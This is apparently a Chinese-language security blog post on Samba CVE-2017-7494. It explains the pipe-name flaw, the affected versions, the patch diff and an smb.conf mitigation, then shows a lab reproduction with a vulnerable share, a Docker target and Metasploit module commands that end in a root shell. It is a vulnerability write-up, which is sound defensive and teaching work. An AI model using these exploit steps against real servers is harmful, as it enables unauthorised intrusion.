Samba远程代码执行漏洞-CVE-2017-7494

Reading time ~1 minute

0x01 概述

Samba的is_known_pipename函数中,pipename路径符号存在漏洞,未过滤 / 符号。攻击者连接上一个可写的共享目录,通过上传恶意的链接库文件,并构造一个指向该库文件的管道名,使服务端程序加载并执行它,从而实现远程代码执行。

0x02 影响

影响Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本。 利用条件:

  1. 可访问Samba端口,默认445端口
  2. 拥有共享文件写入权限,如:匿名可写等
  3. 恶意攻击者需猜解Samba服务端共享目录的物理路径

在Metasploit Exploit Pull Request讨论中,@hdm指出,有方法可能不需要猜解Samba共享目录的物理路径:

Additionally, Mr. Tavis Ormandy suggested a nice way to exploit this without knowing the path using two connections and /proc/self/cwd, which I will try to implement in the near future (this PR if its languishing or the next one).

0x03 修复

打补丁1或者升级到Samba 4.6.4/4.5.10/4.4.14任意版本2

4.6.3-4.5.9-4.4.13版本的补丁关键代码如下:

---
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
 {
  NTSTATUS status;
 
+ if (strchr(pipename, '/')) {
+   DEBUG(1, ("Refusing open on pipe %s\n", pipename));
+   return false;
+ }
+
  if (lp_disable_spoolss() && strequal(pipename, "spoolss")) {
    DEBUG(10, ("refusing spoolss access\n"));
    return false;
--- 

缓解方案:

在smb.conf的[global]板块中添加如下参数并重启Samba服务

[global]
nt pipe support = no

0x04 Exploit测试

已有用户向Metasploit提交Exploit模块: Metasploit Exploit , 相关PullRequest

首先安装一个漏洞版本的Samba软件,配置一个匿名可写的共享目录,并重启服务。

vi /etc/samba/smb.conf

[share]
path=/tmp/share
writable=yes
available=yes
guest ok=yes
public=yes
browseable=yes

---
chmod 777 /tmp/share
service smb restart

也可以使用网上的Docker镜像做靶场:

docker pull medicean/vulapps:s_samba_1
docker run -d -p 445:445 -p 139:139 -p 137:137 medicean/vulapps:s_samba_1

Exploit利用过程如下:

use exploit/linux/samba/is_known_pipename

options

exploit

exploit

Exploit获取的默认为nobody权限,如果smb.conf中配置了 guest account=root,则可以获得root权限。

id
uid=0(root) gid=0(root) groups=0(root)

0x05 References

  1. https://www.samba.org/samba/history/security.html 

  2. https://lists.samba.org/archive/samba-announce/2017/000406.html